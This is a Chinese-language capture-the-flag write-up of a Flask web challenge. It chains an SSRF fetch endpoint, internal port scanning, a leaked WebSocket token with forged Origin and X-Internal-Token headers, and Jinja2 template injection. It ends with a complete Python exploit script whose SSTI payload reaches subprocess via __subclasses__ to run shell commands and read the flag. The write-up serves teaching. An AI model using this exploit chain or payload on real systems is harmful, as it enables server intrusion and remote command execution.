进来就有一个写url的,弹一个本地url发现会响应源码,这很明显是ssrf,前面折腾了很久无果,后来重新看了这提示,说的是内网有public_web,admin_panel还有一个不知道什么的服务,有服务肯定要占用端口吧,于是我用bp爆破了一下
发现8001直接说明是admin_panel服务了,查看一下状态
后面有这么一条
跟过去可以看到9000就是就是用于连接ws的了
把ws://127.0.0.1:9000/ws复制过去预览,得到响应
这里介绍一下,可以参考https://zhuanlan.zhihu.com/p/581974844
1 ws协议(WebSocket)是一种基于TCP的独立网络通信协议,旨在建立客户端与服务器之间的持久、全双工连接
全双工意味着连接好后双方可以同时发送信息,根据响应,可以知道要进行连接需要有Origin和token参数,那这些是那来的
1 2 3 4 5 { "ws" : "ok" , "message" : "handshake success" , "welcome" : "{\"error\":\"invalid origin 'None' ; missing ?token= parameter\"}" }
用dirsearch扫网站可以扫到很多文件
其中请求openapi.json的时候可以看到有一个/redirect_ws路由
这个是admin_panel服务上的,一定要加上8001端口,默认80端口是public_web服务,有另一个openapi.json文件
请求这个路由,token就在响应里面
于是我设置了token,带上Origin请求头尝试连接
又有一个新的问题,还要带上X-Internal-Token请求头内容要和token一样,token还过期了,这个token还有时间限制,那后面我们可以通过脚本来执行我们的命令
1 2 3 4 { "ws" :"ok" , "message" :"handshake success" , "welcome" :"{\"error\":\"X-Internal-Token header must match ?token; token expired or invalid (try /redirect_ws)\"}" }
写一个脚本来发送,得到响应,已经可以连接成功了(格式已经过美化,方便大家食用)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 { "ws" : "ok" , "message" : "handshake success" , "welcome" : { "service" : "IntraSight Template Preview" , "version" : "1.0" , "protocol" : { "action" : "render" , "template" : "<template string>" , "context" : { "optional" : "variables" } } } }
通过响应可以发现这是个模板渲染,而这个题目也是个flask框架,因此可以知道这一关要我们ssti注入,但是注入点在那
可以看到有一个protocol,里面有一些参数,看起来还没有值,回到前面说的ws,使用这个协议连接成功后双方是可以发送信息的,既然服务器回应我们json数据,那我们也回应json数据,构造一个payload,注入tempate看看
1 2 3 4 5 6 7 8 {% raw %} payload={ "action" :"render" , "template" :"{{7*7}}" , "context" :{} } {% endraw %}
发送过去后得到响应,看result可以知道存在ssti注入!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 { "ws" : "ok" , "welcome" : { "service" : "IntraSight Template Preview" , "version" : "1.0" , "protocol" : { "action" : "render" , "template" : "<template string>" , "context" : { "optional" : "variables" } } } , "response" : { "result" : "49" } }
接下来就是ssti了,没什么过滤,直接梭哈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 {% raw %}import requestsfrom flask import json url="http://80-33dd65a2-db23-43fd-90a5-4cceec6ca255.challenge.ctfplus.cn/" session = requests.Session() response = session.get(url+"fetch?url=http://127.0.0.1:8001/redirect_ws" ) data=json.loads(response.text) token=data["history" ][0 ]['location' ].split('token=' )[-1 ] headers = { "Origin" : "http://127.0.0.1" , "X-Internal-Token" : token } re2=session.get(url+"fetch?url=ws://127.0.0.1:9000/ws?token=" +token,headers=headers) payload={ "action" :"render" , "template" :"{{''.__class__.__base__.__subclasses__()[246]('cat /f*',shell=True,stdout=-1).communicate()}}" , "context" :{} } re3=session.post(url+"fetch?url=ws://127.0.0.1:9000/ws?token=" +token,headers=headers,json=payload) data=json.loads(re3.text) result=json.loads(data["response" ])["result" ]print (result) {% endraw %}